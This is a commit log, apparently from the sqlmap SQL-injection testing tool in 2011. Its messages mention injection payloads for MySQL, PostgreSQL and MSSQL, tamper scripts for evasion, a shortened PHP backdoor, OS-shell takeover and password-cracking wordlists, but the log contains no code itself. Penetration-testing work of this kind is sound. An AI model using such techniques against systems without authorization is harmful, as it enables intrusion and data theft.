Miroslav Stampar 043f2f92c1 minor update 2011-06-17 17:10:52 +00:00
Miroslav Stampar c9a6aad5c3 minor fix by request 2011-06-17 16:58:50 +00:00
Miroslav Stampar a0129dcbcb this is confusing for normal users (i've just get a mail where dude thinks that he needs to use tamper script because of this :) 2011-06-17 16:52:39 +00:00
Miroslav Stampar f3ee2c09fb cleaner fix 2011-06-17 15:32:23 +00:00
Miroslav Stampar bb987ec98f fix for DNS leakage 2011-06-17 15:23:58 +00:00
Miroslav Stampar 9498a3f259 little stabilization of multi threading 2011-06-17 12:50:28 +00:00
Miroslav Stampar 2171c64213 update by request 2011-06-16 15:05:04 +00:00
Miroslav Stampar d27afaed7e some fixes 2011-06-16 14:27:44 +00:00
Miroslav Stampar 6b1d5a0ab8 minor fix 2011-06-16 14:11:30 +00:00
Miroslav Stampar 530c296519 minor fix 2011-06-16 13:56:17 +00:00
Miroslav Stampar 3a883a82fb minor update 2011-06-16 13:44:50 +00:00
Miroslav Stampar 0eeb48f8f5 some fixes 2011-06-16 13:41:02 +00:00
Miroslav Stampar 7733e5866a minor update regarding mnemonics (again) 2011-06-16 12:34:38 +00:00
Miroslav Stampar 286e7ee679 minor beautification 2011-06-16 12:29:17 +00:00
Miroslav Stampar 17e4c6b564 minor update regarding mnemonics 2011-06-16 12:26:50 +00:00
Miroslav Stampar 25b923bbc3 minor fixes and minor updates 2011-06-16 12:12:30 +00:00
Miroslav Stampar 3995891ab4 new file containing default settings 2011-06-16 11:43:07 +00:00
Miroslav Stampar 6f681b45ad cleaning up a bit for a configuration mess 2011-06-16 11:42:13 +00:00
Bernardo Damele f515c9c9e0 Dealt with SVN update login traceback. Need to investigate further why it asks for credentials sometimes 2011-06-16 10:11:11 +00:00
Miroslav Stampar 63d98d8ce6 fix for a bug reported by [email protected] (ignored config file items) 2011-06-16 08:08:49 +00:00
Miroslav Stampar ca8a60dd7a update of doc/THANKS 2011-06-15 19:04:43 +00:00
Miroslav Stampar afe0579487 minor fixes for pivot dumping 2011-06-15 19:03:37 +00:00
Miroslav Stampar 4188df0501 fixes for Sybase 2011-06-15 18:49:35 +00:00
Miroslav Stampar 4d51fa8155 minor update planned for a long time (in case of heuristic test was positive warn the user properly at the end if program fails) 2011-06-15 17:37:28 +00:00
Miroslav Stampar e0ad72031f minor update 2011-06-15 12:04:30 +00:00
Miroslav Stampar 1d93a03eeb introducing mnemonics 2011-06-15 11:58:50 +00:00
Miroslav Stampar d55a242908 minor improvement. messages are now warnings (not errors because lots of them are not causing problems for a normal usage) and most of all it's being checked only if the --dependencies is used (until now this switch has been ignored and turned on by default - always) 2011-06-14 19:38:35 +00:00
Miroslav Stampar a4328e914b minor update 2011-06-14 19:29:42 +00:00
Miroslav Stampar 1e17c0d4a1 switching to debug mode for missing dependencies 2011-06-14 08:47:06 +00:00
Miroslav Stampar 60ecf95383 fix for a bug reported by [email protected] 2011-06-14 08:40:25 +00:00
Bernardo Damele 8978fded03 typo fix 2011-06-13 19:00:27 +00:00
Bernardo Damele 7152a1ed3b Added --dependences to show which sqlmap dependences are not available 2011-06-13 18:44:02 +00:00
Miroslav Stampar 8485827352 adding already cracked words from http://freerainbowtables.com/en/hashcracking/ 2011-06-13 14:39:59 +00:00
Miroslav Stampar 87c58c29ef little update for wordlist file (pron, singles, porn-unknown, rockyou-75) 2011-06-13 13:30:56 +00:00
Miroslav Stampar 0990f16f7f minor update for invalid cases like 'iso-8859-1 (western europe)' 2011-06-12 08:36:21 +00:00
Miroslav Stampar 2da56ea507 fix of a language bug 2011-06-11 21:17:30 +00:00
Miroslav Stampar 9331abb96f minor update 2011-06-11 08:33:36 +00:00
Miroslav Stampar 84978f16c9 fix for a "problem" reported by Kirill Morozov (nt authority\\network service) 2011-06-11 07:54:59 +00:00
Miroslav Stampar f8dde2c23b adding --titles switch (killer switch for pages with lots of dynamicity and/or international ones) 2011-06-10 23:18:43 +00:00
Miroslav Stampar 15d72ec566 minor improvement for special cases with --string/--regexp 2011-06-10 23:05:47 +00:00
Miroslav Stampar 8fac4605a9 minor fix for None results 2011-06-10 22:28:15 +00:00
Miroslav Stampar 4b784b03fd adding new tamper script 2011-06-09 12:14:14 +00:00
Miroslav Stampar 71093b1cad adding one more user friendly message 2011-06-09 09:58:42 +00:00
Miroslav Stampar 0d0f2863af adding one more tamper script 2011-06-09 09:38:07 +00:00
Miroslav Stampar 03d6031fe7 update of doc/THANKS file 2011-06-09 09:09:52 +00:00
Miroslav Stampar 083a5535eb added new tamper script by request 2011-06-09 09:01:54 +00:00
Miroslav Stampar fae089646b minor fix 2011-06-09 08:38:17 +00:00
Miroslav Stampar 9202fedf7b minor fix 2011-06-09 08:14:54 +00:00
Miroslav Stampar af5fe457bd revert of the revert (it's a good idea to have it like this because of problems with e.g. --text-only and binary content) 2011-06-09 07:53:31 +00:00
Miroslav Stampar 8ec4bc9d9d revert of the last commit. have to think about it 2011-06-09 06:32:53 +00:00
Miroslav Stampar 9c093d91f2 minor update 2011-06-09 06:14:35 +00:00
Bernardo Damele d217cf71b2 Minor bug fix 2011-06-08 23:32:44 +00:00
Bernardo Damele 6aade8e6fc grammar fix, again 2011-06-08 16:40:22 +00:00
Bernardo Damele 9126c84442 Refactoring (standardized with --search -C ...) 2011-06-08 16:39:41 +00:00
Bernardo Damele d160888784 Grammar fix 2011-06-08 16:25:18 +00:00
Bernardo Damele 1c6ee1dc36 Rephrase 2011-06-08 16:22:16 +00:00
Bernardo Damele 0d8d6a4ace Cosmetics 2011-06-08 16:08:20 +00:00
Bernardo Damele 70cac24909 Cosmetics 2011-06-08 15:31:27 +00:00
Bernardo Damele 64bef644c3 This was missing 2011-06-08 15:30:59 +00:00
Miroslav Stampar d8155dfae9 change by request 2011-06-08 14:44:11 +00:00
Miroslav Stampar 6387d98ab0 quick fix 2011-06-08 14:42:48 +00:00
Bernardo Damele 0d3e8a76d8 Cosmetics and a missing param 2011-06-08 14:40:42 +00:00
Miroslav Stampar 4a9640160e more concise 2011-06-08 14:35:23 +00:00
Miroslav Stampar 6b81eef65a refactoring 2011-06-08 14:30:12 +00:00
Bernardo Damele cd6ceb733e Adjustment and refactoring for takeover via web backdoor 2011-06-08 14:16:53 +00:00
Bernardo Damele cce3208b35 Cleanup 2011-06-08 14:15:34 +00:00
Bernardo Damele 7da3d8dbd1 minor layout adjustment 2011-06-08 13:01:33 +00:00
Bernardo Damele 161ece5587 Rephrase 2011-06-08 11:33:45 +00:00
Bernardo Damele 6d2c97d06f updated thanks file 2011-06-08 10:44:55 +00:00
Miroslav Stampar f65abdaae3 added switch --cookie-del by request 2011-06-08 08:27:24 +00:00
Miroslav Stampar 4eeeb3655e asking and skipping to the next google result page if no usable links found 2011-06-07 23:24:17 +00:00
Miroslav Stampar 1c633b7351 i am tired of pressing hundred times Ctrl+C in testing phase if --batch is specified 2011-06-07 22:14:18 +00:00
Miroslav Stampar 75c12c5edb fix for a bug reported by cclements@flatearth.​net (TypeError: argument of type 'NoneType' is not iterable) 2011-06-07 21:46:49 +00:00
Miroslav Stampar e7e23d1b79 fix for a Ctrl+C bug reported by [email protected] 2011-06-07 17:16:01 +00:00
Miroslav Stampar 26062ec71e minor update 2011-06-07 15:13:51 +00:00
Miroslav Stampar f34b395c65 fixing typo 2011-06-07 14:58:22 +00:00
Miroslav Stampar 50dde39e68 minor update 2011-06-07 10:32:18 +00:00
Miroslav Stampar e9bf768f23 more refactoring 2011-06-07 10:08:12 +00:00
Miroslav Stampar 7a3cc38e3c refactoring and stabilization of multithreading 2011-06-07 09:50:00 +00:00
Miroslav Stampar 5f7858455d fix for a bug reported by [email protected] 2011-06-07 05:57:21 +00:00
Miroslav Stampar 22948135ec this is totally unnecessary but one more byte is squeezed out 2011-06-06 18:16:45 +00:00
Miroslav Stampar 07f6a9cae6 three more bytes squeezed out 2011-06-06 18:08:36 +00:00
Miroslav Stampar e5cecd3afd minor update 2011-06-06 18:06:00 +00:00
Miroslav Stampar 59e562f611 well this was interesting :) 2011-06-06 18:03:21 +00:00
Miroslav Stampar b0c9c66672 more improvement (1000 bytes!) 2011-06-06 14:53:50 +00:00
Miroslav Stampar 702e8a1be8 further improvement 2011-06-06 14:19:57 +00:00
Miroslav Stampar 5b932941fe shortening PHP backdoor 2011-06-06 14:11:09 +00:00
Miroslav Stampar 03c3f83893 minor fix 2011-06-06 13:34:49 +00:00
Miroslav Stampar 89a7516c35 bug fix 2011-06-06 09:55:22 +00:00
Miroslav Stampar 24ed99e5a3 fix for a bug reported by [email protected] 2011-06-06 08:50:48 +00:00
Miroslav Stampar 97d8c60c3f better language 2011-06-03 15:58:19 +00:00
Miroslav Stampar 0a620bf322 more info to the user 2011-06-03 15:43:50 +00:00
Miroslav Stampar 8c80413c52 well, important fix for blind based cases (especially OR ones) 2011-06-03 15:29:22 +00:00
Miroslav Stampar f27181c628 minor improvement for blind based injections with reflected values 2011-06-03 14:41:36 +00:00
Miroslav Stampar e9eafc2e94 minor update 2011-06-03 14:13:22 +00:00
Miroslav Stampar 64a862ed58 minor usability update 2011-06-03 14:04:02 +00:00
Miroslav Stampar faf7814869 fix for a fuzz "bug" reported by [email protected] 2011-06-03 11:01:26 +00:00
Miroslav Stampar 08d6bb4f23 minor fix 2011-06-02 22:13:31 +00:00
Miroslav Stampar 8aa5625cd0 proper fix related to the last commit 2011-06-01 23:00:18 +00:00
Miroslav Stampar fd57aae779 bug fix (until this moment we had UNION unfunctional for MSSQL) 2011-06-01 22:47:54 +00:00
Miroslav Stampar fc96764f80 minor bug fix ("trimmed" error message was shown for empty cases too because u'' or None == None) 2011-06-01 22:06:06 +00:00
Miroslav Stampar 091c174bc4 better language 2011-06-01 08:30:06 +00:00
Miroslav Stampar 63145236b9 minor fix 2011-05-31 21:53:29 +00:00
Miroslav Stampar 0b875b160f cosmetics 2011-05-31 20:57:29 +00:00
Miroslav Stampar 3fa8e1db72 better language 2011-05-31 15:45:54 +00:00
Miroslav Stampar 4bb9754dfe using --dump for msaccess with -C switch was for some reason pain in the ass (you had to do the brute forcing again and again). now -C forces the result in those cases 2011-05-30 23:34:48 +00:00
Miroslav Stampar 42100e0e5b big bug fix 2011-05-30 23:15:29 +00:00
Miroslav Stampar 9600556dae better language 2011-05-30 23:04:49 +00:00
Miroslav Stampar b7088440c2 better sentence 2011-05-30 22:47:17 +00:00
Miroslav Stampar 3c12799ff0 minor improvement 2011-05-30 20:34:34 +00:00
Miroslav Stampar 89559d1b0a better regex and now after we have that automatic switch off for reflective removal mechanism it's not so important to change it 2011-05-30 20:18:30 +00:00
Miroslav Stampar 23cec012d1 fix for that unhandled (after program exit) KeyboardInterrupt 2011-05-30 15:13:47 +00:00
Miroslav Stampar b79dae6e95 minor update 2011-05-30 14:49:03 +00:00
Miroslav Stampar 20988e58ed warp 5 mr spock :) 2011-05-30 09:46:32 +00:00
Miroslav Stampar 001cbff2a9 speed up of 2 times for partial union technique 2011-05-30 09:07:48 +00:00
Miroslav Stampar 97820949f5 minor update 2011-05-30 08:33:01 +00:00
Miroslav Stampar d5ede6afb4 fix for a dirty reading issue reported by [email protected] (IndexError: list index out of range) 2011-05-30 06:38:44 +00:00
Miroslav Stampar 23d7820de7 minor update 2011-05-29 23:56:41 +00:00
Miroslav Stampar 6fd8602f01 minor update 2011-05-29 23:33:34 +00:00
Miroslav Stampar 86455ceb9c implementation of multithreading for UNION and ERROR techniques 2011-05-29 23:17:50 +00:00
Miroslav Stampar d51efa679d typo update 2011-05-29 06:26:28 +00:00
Miroslav Stampar f848cc779e adding legal disclaimer as latest situation (these days news headlines) seems out of control 2011-05-28 18:54:14 +00:00
Miroslav Stampar a5a70f0895 minor update 2011-05-28 18:21:03 +00:00
Miroslav Stampar ecbeecdccf minor refactoring 2011-05-28 18:11:56 +00:00
Miroslav Stampar eb9b84d1da type correction 2011-05-28 17:53:05 +00:00
Miroslav Stampar 03ef53f00a update regarding mysql function resolution and versionedkeywords 2011-05-28 17:34:43 +00:00
Miroslav Stampar bfd923fe29 minor update 2011-05-28 16:16:20 +00:00
Miroslav Stampar 25f3143d92 minor update (to be concise with between) 2011-05-28 16:04:49 +00:00
Miroslav Stampar b079a543ee minor update 2011-05-28 16:03:36 +00:00
Miroslav Stampar 7578795c96 adding one more tamper script 2011-05-28 16:02:14 +00:00
Miroslav Stampar fef9a015da minor update 2011-05-28 15:44:24 +00:00
Miroslav Stampar 39f131162f adding very useful tampering script 2011-05-28 15:42:47 +00:00
Miroslav Stampar 95dea1fbf9 sharp tuning UNION tests even more 2011-05-28 08:06:19 +00:00
Miroslav Stampar 74cc974fa7 cosmetics 2011-05-28 06:44:17 +00:00
Miroslav Stampar 6e8b689596 removing leftover 2011-05-28 06:40:44 +00:00
Miroslav Stampar c11ea35d53 adding some user input for "refreshing" cases (like redirect ones) 2011-05-27 22:42:23 +00:00
Miroslav Stampar cf69809c3c minor update 2011-05-27 16:26:00 +00:00
Miroslav Stampar 8227298057 user friendliness uber 9000 2011-05-27 08:30:52 +00:00
Miroslav Stampar a8b58afdb2 minor update 2011-05-27 08:21:02 +00:00
Miroslav Stampar 48f52d7697 minor beautification 2011-05-27 08:16:14 +00:00
Miroslav Stampar 9f6b70f3f9 update 2011-05-26 22:45:33 +00:00
Miroslav Stampar 61b960f65f minor update related to the last one 2011-05-26 22:05:10 +00:00
Miroslav Stampar 45caadbd4a important update - finally found what was causing headache for UNION payloads in noticeable number of cases 2011-05-26 21:54:19 +00:00
Miroslav Stampar 97bd5355dd minor update 2011-05-26 21:18:55 +00:00
Miroslav Stampar 5d56e89cf5 minor update 2011-05-26 21:08:46 +00:00
Miroslav Stampar 06108b6da6 minor update related to the last commit 2011-05-26 20:58:24 +00:00
Miroslav Stampar 4f46a5ab63 minor usability enhancement regarding warning for --text-only switch 2011-05-26 20:48:18 +00:00
Miroslav Stampar ff030e4d24 minor cleanup of the leftover 2011-05-26 17:37:24 +00:00
Miroslav Stampar bf2b58ba82 minor update 2011-05-26 15:23:28 +00:00
Miroslav Stampar 79f0b3a92a adding support for --start and --stop for __pivotDumpTable 2011-05-26 15:16:57 +00:00
Miroslav Stampar b6fe5b12a4 adding --schema to the wizard/Basic as it looks like a cool thingy to put there 2011-05-26 14:30:05 +00:00
Miroslav Stampar 46ceb14f37 update of doc/THANKS 2011-05-26 13:49:42 +00:00
Miroslav Stampar 4f2c999146 fix for a bug reported by [email protected] (UnicodeDecodeError: requestMsg += "\n%s" % requestHeaders) 2011-05-26 13:47:20 +00:00
Miroslav Stampar 9077eadf23 update of doc/THANKS 2011-05-26 08:22:52 +00:00
Miroslav Stampar a397baa89a fix for a bug reported by [email protected] and few related patches 2011-05-26 08:17:21 +00:00
Miroslav Stampar f3ed61af5f bug fix when using inference and kb.pageEncoding is None (like in binary cases) 2011-05-25 21:12:12 +00:00
Miroslav Stampar 5369657cd5 fix for cases with retrieved binary files (preventing difflib nagging around comparison) 2011-05-25 20:54:30 +00:00
Miroslav Stampar a1fd2898a0 added friendly tip message for url encoding GET and POST payloads 2011-05-25 11:10:52 +00:00
Miroslav Stampar 0e480a9921 adding SYS to the ORACLE_SYSTEM_DBS 2011-05-25 10:55:47 +00:00
Miroslav Stampar 2f456bee75 minor beautification 2011-05-25 08:14:39 +00:00
Miroslav Stampar 8b7a3c5a6b making it easier for totally dummy users 2011-05-24 17:24:01 +00:00
Miroslav Stampar bec2c04671 helping dummy users 2011-05-24 17:15:25 +00:00
Miroslav Stampar a3466ff79c serving everything for the users 2011-05-24 16:34:08 +00:00
Miroslav Stampar 69eb173eca minor just in case patch 2011-05-24 15:07:37 +00:00
Miroslav Stampar 0072c3af8e fix for a bug reported by [email protected] (for elt in self.a) 2011-05-24 15:03:21 +00:00
Miroslav Stampar f774d8fea0 proper Tor settings (reverted r3915 and implemented it the right way) 2011-05-24 11:06:58 +00:00
Miroslav Stampar 0486d1cdaa minor module update 2011-05-24 10:32:21 +00:00
Miroslav Stampar 915c206e3d minor fix for socks proxy issues 2011-05-24 09:47:10 +00:00
Miroslav Stampar 0baf931669 real generic comment is "-- " not "--" (MySQL doesn't support "--") 2011-05-24 09:16:21 +00:00
Miroslav Stampar ad25bcc2be better way for dealing with relative paths 2011-05-24 05:26:51 +00:00
Miroslav Stampar a536bf210f improved redirection mechanism 2011-05-23 23:20:03 +00:00
Miroslav Stampar 128a012121 this was causing that --suffix trouble 2011-05-23 19:59:07 +00:00
Miroslav Stampar bfe8e51b7c minor fix for retrieving stuff like "SELECT * FROM testdb..users" 2011-05-23 19:45:40 +00:00
Miroslav Stampar 1067d43f14 minor update 2011-05-23 19:16:29 +00:00
Miroslav Stampar 2b12b18357 incorporating metasploit patch from [email protected] 2011-05-23 15:27:10 +00:00
Miroslav Stampar 4542d4535f minor beautification 2011-05-23 14:28:05 +00:00
Miroslav Stampar 31b48ec11c removing space left 2011-05-23 14:18:33 +00:00
Miroslav Stampar 0ed03d474f now supporting "blank tables" - schema of the table will be preserved, even if it's empty - especially nice feature for --replicate 2011-05-23 11:09:44 +00:00
Miroslav Stampar 868fbe370b minor beautification 2011-05-23 10:39:58 +00:00
Miroslav Stampar 171a4c389b added MySQL >=4.1 <=5.0 error based WHERE/HAVING payload 2011-05-23 06:24:45 +00:00
Miroslav Stampar fb23beef6f most elegant way i could think of to deal with "collation incompatibilities" issue on some MySQL/UNION cases (affected about 5% of all targets tested) 2011-05-22 19:14:36 +00:00
Miroslav Stampar 4fdb6ac9b9 adding useful info 2011-05-22 15:30:19 +00:00
Miroslav Stampar 48c20a62ac minor nag fix 2011-05-22 15:08:55 +00:00
Miroslav Stampar 40971aca94 fixing nasty bug caused by retrying counter 2011-05-22 10:59:56 +00:00
Miroslav Stampar 712e238f33 another minor fix 2011-05-22 10:29:25 +00:00
Miroslav Stampar 2795aeff34 minor fix 2011-05-22 10:27:45 +00:00
Miroslav Stampar 806e898694 no more CRITICAL drop outs in test mode - lots of reports were related to this 2011-05-22 10:21:49 +00:00
Miroslav Stampar 7b52bbe3fb reverting that ignoreTimeout for --tables (because of this and that) 2011-05-22 09:59:19 +00:00
Miroslav Stampar 9b2623514a one bug fix for Host header (value should be without port number); one improvement for --tables - when no tables ask user if he wants to brute force them; one tweak - adding kb.ignoreTimeout for --tables 2011-05-22 09:48:46 +00:00
Miroslav Stampar 2ea613b170 type correction and adding global flag kb.ignoreTimeout which could be useful 2011-05-22 08:24:13 +00:00
Miroslav Stampar 27f0e73cc9 refactoring of 'target' flag in connect.py 2011-05-22 07:46:09 +00:00
Miroslav Stampar a58aaf2e1a better format for results file (easier for sorting when lots of files) 2011-05-22 07:02:36 +00:00
Miroslav Stampar 25fff8c135 changes in handling --tor (using SOCKS instead of HTTP for handling Tor - more standard way; doesn't require proxy bundle; fixes problems with default proxy ports on Win/Linux) 2011-05-21 11:46:57 +00:00
Miroslav Stampar 939e6541d0 far safer way for dealing with error-based payloads on MySQL (no timeouts with .CHARACTER_SETS on testing platforms versus when used .TABLES) 2011-05-19 23:36:51 +00:00
Miroslav Stampar 126cdf9e19 minor info update 2011-05-19 23:28:27 +00:00
Miroslav Stampar a034462c31 fixing annoying timeouts for basic DBMS check (reference: http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampadd) 2011-05-19 23:03:00 +00:00
Miroslav Stampar 5a979f7667 minor bug fix for empty colList; also added "do you want to use LIKE" (LIKE is default) question when -C used 2011-05-19 17:35:33 +00:00
Miroslav Stampar 9e5856caf8 improvement for recognition of scalar vs multiple-row commands 2011-05-19 16:45:05 +00:00
Miroslav Stampar db72428765 minor update 2011-05-19 15:57:29 +00:00
Miroslav Stampar f40c6b2ce7 added --cookie for maskSensitiveData too 2011-05-19 15:42:59 +00:00
Miroslav Stampar bd1b07fbc2 one more parameter replace payload for MySQL and rising level of GENERATE_SERIES for PostgreSQL 2011-05-19 06:32:23 +00:00
Miroslav Stampar 7f086916c0 decent parameter replace payload for PostgreSQL (GENERATE_SERIES) 2011-05-18 23:40:42 +00:00
Miroslav Stampar e58d6d2e00 removing (CBRT(LN(0)) because it's nothing special compared to standard 1/0; also, removing parameter replacement with returned value 1 as it doesn't have much sense in comparison to origvalue one (which is far more stable and usable) 2011-05-18 23:20:02 +00:00
Miroslav Stampar fe50d09cc8 added new payload for PostgreSQL (parameter replace) 2011-05-18 23:01:41 +00:00
Miroslav Stampar 9832fc42d4 minor improvement for --tamper (now standard tamper scripts can be used like --tamper=randomcase) 2011-05-18 21:47:40 +00:00
Miroslav Stampar 3048e9f710 minor refactoring 2011-05-17 23:03:31 +00:00
Miroslav Stampar cc07e5dc97 added --charset option to force charset encoding of the retrieved data (e.g. when the backend collation is different than the current web page charset) as requested by devon.mitchell1988@y​ahoo.com 2011-05-17 22:55:22 +00:00
Miroslav Stampar dfe81cc66f minor yielding 2011-05-16 20:14:10 +00:00
Miroslav Stampar a5ad4621c9 minor refactoring 2011-05-16 20:09:12 +00:00
Miroslav Stampar ba1df457ab fix for a charset euc_tw reported by devon.mitchell1988@y​ahoo.com 2011-05-16 19:26:58 +00:00
Miroslav Stampar 6ba9dea640 just in case for trimmed output 2011-05-16 06:17:37 +00:00
Miroslav Stampar d2221e4604 fix for a minor "retrieved" cosmetic issue in partial union technique reported by Devon Mitchell (retrieved: "information_schema","COLUMNS</title><...) 2011-05-16 00:23:50 +00:00
Miroslav Stampar faa74cd2bc introducing results file for multiple target mode 2011-05-15 22:21:38 +00:00
Miroslav Stampar 90e84c9a6d removing xmlcharrefreplace error handler as it seems that it wasn't such a good idea at the end 2011-05-15 21:43:38 +00:00
Miroslav Stampar c3bb5a03e1 minor improvement 2011-05-14 20:09:37 +00:00
Miroslav Stampar 3484a4426b fix for a bug reported by [email protected]​m (TypeError: encode() takes no keyword arguments) 2011-05-14 19:57:28 +00:00
Miroslav Stampar 053c245114 few minor fixes 2011-05-13 09:56:12 +00:00
Miroslav Stampar a7d7be5ce0 bug fix ('Host' header was being set to the conf.hostname for all getPages causing problems in some cases when retrieved page was not coming from that same Host) 2011-05-13 01:01:53 +00:00
Miroslav Stampar f11d5c91e3 minor update so that only one DNS request per scan is being done (before this commit there were two) 2011-05-12 14:32:39 +00:00
Miroslav Stampar 70688fb8b5 minor enhancement for dumping 'None' values (proper way should be empty string because None is too pythonic) 2011-05-12 12:00:17 +00:00
Miroslav Stampar c64eb38a8b same thing as for the last commit, but for error technique this time 2011-05-12 11:52:18 +00:00
Miroslav Stampar 84a7e5ffb9 "unfix" for r3172 which was causing "AttributeError: 'list' object has no attribute 'isdigit'" because of change of appereance 2011-05-12 11:36:02 +00:00
Miroslav Stampar 0b2da2f9f5 minor beautification for --tor switch 2011-05-12 05:46:17 +00:00
Miroslav Stampar e05a9c0554 i was probably very tired or very stupid to do this 2011-05-11 13:13:46 +00:00
Miroslav Stampar 2ab9e30f7a bug fix 2011-05-11 12:54:33 +00:00
Miroslav Stampar 4efc284b83 adding more info for --passwords 2011-05-11 12:35:32 +00:00
Miroslav Stampar 48ac9911c0 more graceful fix related to the last commit 2011-05-11 09:42:35 +00:00
Miroslav Stampar 402c623119 minor fix 2011-05-11 09:40:11 +00:00
Miroslav Stampar 53065ee1fb adding ordered set for kb.targetUrls (now the order of appereance in multiple targets mode will be respected) 2011-05-11 08:55:48 +00:00
Miroslav Stampar 5ee07b90b9 added -m switch for bulk loading multiple targets 2011-05-11 08:46:40 +00:00
Miroslav Stampar 120b0d756e unfix 2011-05-10 21:33:06 +00:00
Miroslav Stampar 6b66fce72c minor fix 2011-05-10 20:52:43 +00:00
Miroslav Stampar 192c685bc8 changing conf attribute to a more proper name 2011-05-10 20:48:34 +00:00
Miroslav Stampar deae534ee7 minor refactoring 2011-05-10 20:44:36 +00:00
Bernardo Damele 97bc816aeb layout 2011-05-10 16:24:09 +00:00
Bernardo Damele b5f090cc4f Minor bug fix 2011-05-10 15:48:48 +00:00
Bernardo Damele 3a8309c4b0 Major bug fix to detect UNION query technique and various improvements to parsing and using of --union-char and --union-cols switches 2011-05-10 15:34:54 +00:00
Miroslav Stampar 707edc7b1a fix for a bug (previously --dbms="mysql 4" was ignored and abruptly terminated while the mechanism was here all along) 2011-05-10 13:28:07 +00:00
Miroslav Stampar 1dea609019 fix for a bug reported by David (UnicodeDecodeError: url = url + '?' + query) 2011-05-10 12:51:37 +00:00
Miroslav Stampar a64407d9db minor bug fix for multithreading and lots of connection retries 2011-05-10 12:40:01 +00:00
Miroslav Stampar 22a1870c2c adding some constraining to number of used threads on brute force switches together with a warning in case of connection exception(s) with --threads>1 2011-05-10 12:32:07 +00:00
Bernardo Damele 49b925772b Minor update 2011-05-10 10:56:06 +00:00
Miroslav Stampar b713b18fd2 minor fix for a bug spotted on Sybase 2011-05-09 16:09:18 +00:00
Bernardo Damele ac74557614 Minor adjustment for --dump-all 2011-05-08 10:25:40 +00:00
Miroslav Stampar ec4d9178f8 minor update related to the previous commit 2011-05-08 06:28:58 +00:00
Miroslav Stampar 4d6e7c738c minor update 2011-05-08 06:17:43 +00:00
Bernardo Damele 356037ca22 cosmetics 2011-05-08 02:11:34 +00:00
Bernardo Damele 9955483052 Major improvement for --dump.
Minor improvement for --dump-all.
Minor bug fix for infinite loop
2011-05-08 02:08:18 +00:00
Bernardo Damele 8179fd63c0 Minor fix 2011-05-07 23:48:03 +00:00
Bernardo Damele d3589493d1 Temporary fix for bug reported by ultramegaman (infinite loop) 2011-05-07 23:28:59 +00:00
Bernardo Damele 6e784e766b Minor bug fix 2011-05-07 21:20:47 +00:00
Bernardo Damele 6653907700 forgot in last commit 2011-05-07 21:13:56 +00:00
Bernardo Damele 1151af52bb More fix for save/resume of --technique 2011-05-07 21:08:14 +00:00
Bernardo Damele 28a4ae8eaf Minor improvement to cleanup script 2011-05-06 13:53:10 +00:00
Miroslav Stampar d2a71d647b minor update 2011-05-06 13:38:58 +00:00
Miroslav Stampar 9652efa995 minor update 2011-05-06 13:34:03 +00:00
Miroslav Stampar 079ddf84b2 updating FAQ 2011-05-06 11:19:49 +00:00
Bernardo Damele aae140080e SVN roll back, DB2 patch will be recommitted after testing:
$ svn merge https://svn.sqlmap.org/sqlmap/trunk/sqlmap@HEAD https://svn.sqlmap.org/sqlmap/trunk/sqlmap@3847 .
2011-05-06 10:27:43 +00:00
Miroslav Stampar 42bca80968 removing blank lines and adding newline at the end of files 2011-05-06 09:35:53 +00:00
Miroslav Stampar 6e392b6054 applying contributed patch for DB2 2011-05-06 09:30:39 +00:00
Bernardo Damele 2d8408c885 More fix for --technique resume 2011-05-05 16:38:46 +00:00
Bernardo Damele e96a533a04 Bug fix to resume of --technique 2011-05-05 15:18:33 +00:00
Bernardo Damele eea96c5b8d code cleanup 2011-05-05 08:50:18 +00:00
Miroslav Stampar b12aa8a56f added mime type octet to README.pdf 2011-05-05 08:17:23 +00:00
Miroslav Stampar b324b99f6e minor update of warning message 2011-05-04 10:41:08 +00:00
Miroslav Stampar 83fac3f6d9 fix for proper MSSQL error chunking in some cases (not screwing output length toward lower values at chunk phase) 2011-05-03 21:12:51 +00:00
Miroslav Stampar e6f010734e minor fix for cases when the retrieved output is safe encoded (like for --os-shell) 2011-05-03 16:14:03 +00:00
Miroslav Stampar 4d4e3802e4 decoding of chars for --os-shell 2011-05-03 15:31:12 +00:00
Bernardo Damele 2976ed7e90 Updated user's manual, added details about URI injection 2011-05-03 14:47:01 +00:00
Bernardo Damele dac59a55bc leftover 2011-05-03 14:14:39 +00:00
Bernardo Damele c58dc4a6d8 isDbmsWithin() must stay like this, no getIdentifiedDbms() in there 2011-05-03 14:13:45 +00:00
Miroslav Stampar 742b0ef76e major improvement of ERROR data retrieval on MSSQL 2011-05-03 13:25:20 +00:00
Miroslav Stampar 2a7838928e minor fancier --replicate update 2011-05-03 11:48:04 +00:00
Miroslav Stampar b202d73b46 bug fix for MSSQL identificators which were starting with d, b, o and . Thing is that .lstrip strips all occurances of the given chars :) (spotted ancidentally) 2011-05-03 11:09:30 +00:00
Bernardo Damele b2f6ce9716 updated documentation 2011-05-03 10:57:55 +00:00
Miroslav Stampar 1840b0e43b fix for a bug reported by [email protected] (OperationalError: unknown database dbo) 2011-05-03 10:22:38 +00:00
Miroslav Stampar 1e6c2fea74 update regarding warning for --random-agent during connection timeout in connection test phase 2011-05-03 10:05:42 +00:00
Miroslav Stampar eceb5eca7b fix for --file-read on MSSQL for error technique (again that unpacking was causing problems); also reverting that check for file paths as one user mentioned that network paths are also possible for usage on Windows machines (e.g. \\bla\bla) 2011-05-02 21:55:06 +00:00
Bernardo Damele 6cff3e97f4 cosmetics 2011-05-02 21:48:08 +00:00
Miroslav Stampar 06498796b9 minor cosmetics 2011-05-02 20:51:53 +00:00
Miroslav Stampar b327a78522 minor minor update of the last commit 2011-05-02 19:24:49 +00:00
Miroslav Stampar 0bb7d715a7 more user friendliness/handiness for users which mix Linux and Windows paths where they shouldn't do that 2011-05-02 19:18:28 +00:00
Miroslav Stampar 845618934d update of doc/THANKS 2011-05-02 18:20:37 +00:00
Miroslav Stampar 5e9620198c fix for a privately reported bug ("AttributeError: item is disabled") 2011-05-02 18:18:04 +00:00
Miroslav Stampar 93dee30895 better fix for the previous commit 2011-05-02 13:34:55 +00:00
Miroslav Stampar 20ad1c1f2f minor update to not confuse users when using -o 2011-05-02 13:24:35 +00:00
Miroslav Stampar f8c3086d15 minor minor update 2011-05-02 12:37:54 +00:00
Miroslav Stampar 098f53d57a patch for a problem reported by [email protected] (unknown charset 'is0-8859-1') 2011-05-02 12:34:35 +00:00
Bernardo Damele ac2550535c Proper fix for --technique=U bug 2011-05-01 23:42:41 +00:00
Miroslav Stampar 8e8886cd20 minor improvement for --sql-shell/--sql-query (when non-SELECT default is N for retrieve data output which automatically does STACKED injection) 2011-05-01 21:41:14 +00:00
